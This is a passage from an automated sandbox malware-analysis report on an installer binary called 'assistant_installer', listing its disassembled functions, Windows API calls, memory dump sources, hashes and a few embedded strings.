                                                                                                                                                                                                                • Opcode ID: db108ab86b48c56873784c5be5657c072196fe5ea0ca3d895d6a31519628c81e
                                                                                                                                                                                                                • Instruction ID: 676658117a1b77ea6e09defa0a898c8ba739c844c33a48afe0fbb65371cd546d
                                                                                                                                                                                                                • Opcode Fuzzy Hash: db108ab86b48c56873784c5be5657c072196fe5ea0ca3d895d6a31519628c81e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 77F0E971B40218A7CA14B7A8AC17DAE7B69AF81710F40002AF9066B2C1FE386A148795
                                                                                                                                                                                                                Function 007ACB18 Relevance: 3.1, APIs: 2, Instructions: 53pipeCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 007ACB49
                                                                                                                                                                                                                • CreateNamedPipeW.KERNELBASE ref: 007ACBA4
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateNamedPipeVersion
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1287812050-0
                                                                                                                                                                                                                • Opcode ID: 68daf63807de7224c5046d7875c960521a8ef3873c2f7b2b026d4aed2888e1df
                                                                                                                                                                                                                • Instruction ID: 3f8b6d27702fb820faa6838e5eeb971500a15ab4a62547954bfc306142d9782c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 68daf63807de7224c5046d7875c960521a8ef3873c2f7b2b026d4aed2888e1df
                                                                                                                                                                                                                • Instruction Fuzzy Hash: F9119AB18082099BEB089F69D4463AAFBE4FF89310F00851EE899AB391C7755584CBD2
                                                                                                                                                                                                                Function 008479F5 Relevance: 1.6, APIs: 1, Instructions: 57COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                • Opcode ID: 6820228377e5b691a53abbd290d04bf4f0752e26e6fa4ef32350eb75b32bba55
                                                                                                                                                                                                                • Instruction ID: adf8c1aeb60cb60a5a39823b81252b267946b0a784d2b8c1bcf2a7244684bbe8
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 6820228377e5b691a53abbd290d04bf4f0752e26e6fa4ef32350eb75b32bba55
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9F01F133708239AFAB26DE2DEC40A5E77AAFBC13603248121FA01DB594EB30C9018681
                                                                                                                                                                                                                Function 00733F70 Relevance: 1.6, APIs: 1, Instructions: 51COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCommandLineW.KERNEL32(?,00000000), ref: 00733FE7
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CommandLine
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3253501508-0
                                                                                                                                                                                                                • Opcode ID: c6d8e165c9c1d34a32f96bd248cf13ab0a7ec5ea33b7234980ae5d0352fe7453
                                                                                                                                                                                                                • Instruction ID: 273b0df0eba87891fb9a743a63f0c8eb3ce93864eaec8ac1f2ec25a7174ae3b6
                                                                                                                                                                                                                • Opcode Fuzzy Hash: c6d8e165c9c1d34a32f96bd248cf13ab0a7ec5ea33b7234980ae5d0352fe7453
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 27118CB15003008FE728DF14D818B13BBF5EB40718F09C19DD50A4B6A2EBBAA548CBA1
                                                                                                                                                                                                                Function 007EA5C9 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateFileW.KERNELBASE(?,771B3390,00000003,00000000,00000000,00000080,00000000,7FFFFFFF,?), ref: 007EA5F4
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateFile
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 823142352-0
                                                                                                                                                                                                                • Opcode ID: 1e63a010d61c0f7bb86773b6e3a0957ee5b38a0845728f5ef1a1c2d5228c7e35
                                                                                                                                                                                                                • Instruction ID: 313c908cfd701fb2787ee7c9a86749439194b5e1c0b203db4c70e3afc7dffc5b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1e63a010d61c0f7bb86773b6e3a0957ee5b38a0845728f5ef1a1c2d5228c7e35
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 17E046716011A47BE620AB2ADC0DFA7FF5CEB0AAB0F058142F848AB041D260A88086E1

                                                                                                                                                                                                                Non-executed Functions

                                                                                                                                                                                                                Function 007041C0 Relevance: 28.3, APIs: 7, Strings: 9, Instructions: 284COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: HKCU$Registry value is not a dictionary$clean$data$name$path$type$values$wow6432
                                                                                                                                                                                                                • API String ID: 4218353326-3483028338
                                                                                                                                                                                                                • Opcode ID: a2549b77cb7c81f16de9ff3d0d0e03ace4da57724781c401ccdb2bc024ed6716
                                                                                                                                                                                                                • Instruction ID: 0b80de1ba2edbc40384f296db821c313c2296f9b03ac2653d9405e04528c0fc6
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a2549b77cb7c81f16de9ff3d0d0e03ace4da57724781c401ccdb2bc024ed6716
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3BA179B1604340DBCB10DF54D88496EB7E9EFC5314F008A2DFA859B282DB79ED498B92
                                                                                                                                                                                                                Function 007100E0 Relevance: 12.1, APIs: 8, Instructions: 119memoryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 007100FC
                                                                                                                                                                                                                • OpenProcessToken.ADVAPI32(00000000,0000000A,?), ref: 00710106
                                                                                                                                                                                                                  • Part of subcall function 00701B9C: GetLastError.KERNEL32(00000000,?,-00000001,?,007012C9,00000000), ref: 00701BAB
                                                                                                                                                                                                                  • Part of subcall function 00701B9C: SetLastError.KERNEL32(00000000,?,007012C9,00000000), ref: 00701BCA
                                                                                                                                                                                                                • GetTokenInformation.ADVAPI32(?,00000012(TokenIntegrityLevel),?,00000004,?,?), ref: 0071014E
                                                                                                                                                                                                                • GetTokenInformation.ADVAPI32(?,00000013(TokenIntegrityLevel),?,00000004,?), ref: 00710174
                                                                                                                                                                                                                • DuplicateToken.ADVAPI32(?,00000001,?,?), ref: 00710193
                                                                                                                                                                                                                • AllocateAndInitializeSid.ADVAPI32 ref: 007101F1
                                                                                                                                                                                                                • CheckTokenMembership.ADVAPI32(?,?,?), ref: 00710208
                                                                                                                                                                                                                • FreeSid.ADVAPI32(?), ref: 0071021C
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Token$ErrorInformationLastProcess$AllocateCheckCurrentDuplicateFreeInitializeMembershipOpen
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3176607045-0
                                                                                                                                                                                                                • Opcode ID: e0904bc465e816a34c709fc80abf3b4976c72a247038b108ce4001fc276c93dd
                                                                                                                                                                                                                • Instruction ID: 186e9ac82d6c776ec6632dc2ccf047872dface6df5488c1a68c9f9fb2a8e3af4
                                                                                                                                                                                                                • Opcode Fuzzy Hash: e0904bc465e816a34c709fc80abf3b4976c72a247038b108ce4001fc276c93dd
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 06417171900309DFDB10AFA4DC49AEEBBF4FF49314F14412AE511B61A0EB799985CBA1
                                                                                                                                                                                                                Function 0073C2A0 Relevance: 10.9, APIs: 7, Instructions: 393fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • OutputDebugStringA.KERNEL32(?), ref: 0073C3F6
                                                                                                                                                                                                                • WriteFile.KERNEL32(?,?,?,00000000), ref: 0073C48D
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0073C5CB
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0073C7C2
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0073C7E8
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0073C7FA
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0073C820
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Init_thread_footerInit_thread_header$DebugFileOutputStringWrite_strlen
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3399060686-0
                                                                                                                                                                                                                • Opcode ID: 16ae2a32bdb16feb1aef29f0656267222ae92e7bf8365cac60d746989d219ebc
                                                                                                                                                                                                                • Instruction ID: 94318b4225e0ac8a1b901fcb408579226461e5022073121e4ecbf55439338074
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 16ae2a32bdb16feb1aef29f0656267222ae92e7bf8365cac60d746989d219ebc
                                                                                                                                                                                                                • Instruction Fuzzy Hash: EBF1F271A08340DFE711DF24D885A2AB7F0FF89314F048A1DF599A7292DB79EA45CB42
                                                                                                                                                                                                                Function 0078E230 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 192COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(00000000,'v,?,?,?,00756B03,'v,?,?,0076E527,?), ref: 0078E251
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AcquireExclusiveLock
                                                                                                                                                                                                                • String ID: 'v
                                                                                                                                                                                                                • API String ID: 4021432409-500230326
                                                                                                                                                                                                                • Opcode ID: 535510ec12c3d2d370642111dd8d341014ee8bf24ad4e228c75cf00153ee45e1
                                                                                                                                                                                                                • Instruction ID: d704006878a2c28cbc1d3ae6ec32c99162595486e7dddd6cba08288d2b08e72c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 535510ec12c3d2d370642111dd8d341014ee8bf24ad4e228c75cf00153ee45e1
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7B71ABB0B00205CFDB14EF68D895A6ABBF5FF89310F1541A9E90A9B752D738EC41CB91
                                                                                                                                                                                                                Function 00710260 Relevance: 9.1, APIs: 6, Instructions: 125COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 00710305
                                                                                                                                                                                                                • OpenProcessToken.ADVAPI32(00000000,0000000A,?), ref: 0071030F
                                                                                                                                                                                                                • DuplicateToken.ADVAPI32(?,00000001,?,?), ref: 00710338
                                                                                                                                                                                                                • GetNamedSecurityInfoW.ADVAPI32 ref: 00710387
                                                                                                                                                                                                                • AccessCheck.ADVAPI32(?,?,?,?,?,?,?,?), ref: 007103B5
                                                                                                                                                                                                                • LocalFree.KERNEL32(00000000), ref: 007103EC
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ProcessToken$AccessCheckCurrentDuplicateFreeInfoLocalNamedOpenSecurity
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1559206406-0
                                                                                                                                                                                                                • Opcode ID: 60917fa356801c01cde5a0a2f171c4e7edb581e4afee5bb75d8db391c60e022c
                                                                                                                                                                                                                • Instruction ID: 5e1cc140c0a6aee9bae79fdb48f9f64463a55f9666802e12d333ef5399db748c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 60917fa356801c01cde5a0a2f171c4e7edb581e4afee5bb75d8db391c60e022c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 75419D71608345DFD710DF69C884A6FBBE4FB88354F008A2EF495A3290E7B5D985CB82
                                                                                                                                                                                                                Function 00740100 Relevance: 9.1, APIs: 6, Instructions: 103COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(008A3F44,?,?,0077DA32,?), ref: 0074015D
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(008A3F44,FFFFFFFF,0077DA32), ref: 007401EF
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0074021D
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00740255
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00740267
                                                                                                                                                                                                                  • Part of subcall function 008294E7: EnterCriticalSection.KERNEL32(008A4FC0,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 008294F2
                                                                                                                                                                                                                  • Part of subcall function 008294E7: LeaveCriticalSection.KERNEL32(008A4FC0,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 0082952F
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0074028B
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CriticalExclusiveInit_thread_footerInit_thread_headerLockSection$AcquireEnterLeaveRelease
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 604925594-0
                                                                                                                                                                                                                • Opcode ID: 7af745e0500b6ad5d0cb73d3ebe6f8d6c98f607feed134990d8620c426775fdc
                                                                                                                                                                                                                • Instruction ID: aeee7a84422dbf8706c590cb9ff9278f57d7d770ec27de0e3638aaee511cbd9b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7af745e0500b6ad5d0cb73d3ebe6f8d6c98f607feed134990d8620c426775fdc
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4841E8B0A10204DFE710DF58EC56A19B3B1FB46710F100169F666A7791DF75AA44CB92
                                                                                                                                                                                                                Function 00778290 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 208COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(000000D0), ref: 007782C6
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(?), ref: 007783F1
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$AcquireRelease
                                                                                                                                                                                                                • String ID: ../../base/debug/activity_tracker.cc$RecordProcessExit$^_[]
                                                                                                                                                                                                                • API String ID: 17069307-2666811147
                                                                                                                                                                                                                • Opcode ID: e71514e12e7567b549a983d5837f4e1b38278f47cef9448c79e2d78d330ec079
                                                                                                                                                                                                                • Instruction ID: 478b9ed2b9166dd0df12717f36ee705d4d6af6c20b3a3627cc0bfd5f461268d5
                                                                                                                                                                                                                • Opcode Fuzzy Hash: e71514e12e7567b549a983d5837f4e1b38278f47cef9448c79e2d78d330ec079
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 88816CB0600701DFDB60DF28C888B16BBE4BF19714F14856DE88E8B652DB75F849CB92
                                                                                                                                                                                                                Function 0073A330 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 177COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileInformationByHandle.KERNEL32(00000000,?,?,00000000), ref: 0073A40F
                                                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 0073A48E
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ReadStreamToStringWithMaxSize, xrefs: 0073A3C3
                                                                                                                                                                                                                • ../../base/files/file_util.cc, xrefs: 0073A3BE
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
